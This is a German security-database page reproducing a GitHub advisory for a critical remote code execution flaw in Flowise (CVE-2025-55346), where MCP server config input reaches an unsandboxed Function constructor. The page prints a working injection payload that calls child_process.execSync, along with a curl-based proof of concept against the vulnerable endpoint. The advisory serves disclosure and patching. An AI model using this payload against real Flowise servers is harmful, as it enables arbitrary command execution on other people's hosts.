Kritisch

Flowise vulnerable to RCE via Dynamic function constructor injection

  • Veröffentlicht: 06.10.2025
  • Aktualisiert: 11.10.2026 10:22

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

js
{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

js
{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

js
{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

ts
async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

ts
function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

js
{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
bash
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket flowise <= 2.2.7-patch.1 keine Korrektur

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-627, CWE-95
Plattform
npm
Paket
flowise
Veröffentlicht
06.10.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-hmgh-466j-fx4c - CC BY 4.0

Schwachstellenhistorie: flowise

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (114) im Archiv
Einträge insgesamt
114
Erste → letzte
04.2024 10.2026
Ohne Fix
16
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 28
  • Hoch 62
  • Mittel 24

Veröffentlichungen pro Jahr

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Schweregrad:
  1. Kritisch CVE-2026-69259 < 3.1.3 3.1.3
  2. Kritisch CVE-2026-69256 < 3.1.3 3.1.3
  3. Kritisch CVE-2026-69253 < 3.1.3 3.1.3
  4. Kritisch CVE-2026-69251 < 3.1.3 3.1.3
  5. Hoch · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  6. Hoch CVE-2026-46443 < 3.1.2 3.1.2
  7. Hoch CVE-2026-56274 < 3.1.2 3.1.2
  8. Hoch · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  9. Hoch · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  10. Hoch CVE-2026-41274 < 3.1.0 3.1.0
  11. Hoch · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  12. Hoch · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  13. Hoch · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  14. Hoch · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  15. Hoch · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  16. Hoch · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  17. Kritisch · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  18. Kritisch · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  19. Hoch CVE-2026-30824 < 3.0.13 3.0.13
  20. Hoch · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  21. Hoch CVE-2026-30821 < 3.0.13 3.0.13
  22. Kritisch · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  23. Hoch · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  24. Flowise vulnerable to RCE via Dynamic function constructor injection dieser Eintrag
    Kritisch · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 keine Korrektur
  25. Hoch CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  26. Kritisch · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  27. Kritisch · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  28. Kritisch · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  29. Hoch · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  30. Kritisch · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
Mehr anzeigen (10) 80 von 90 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.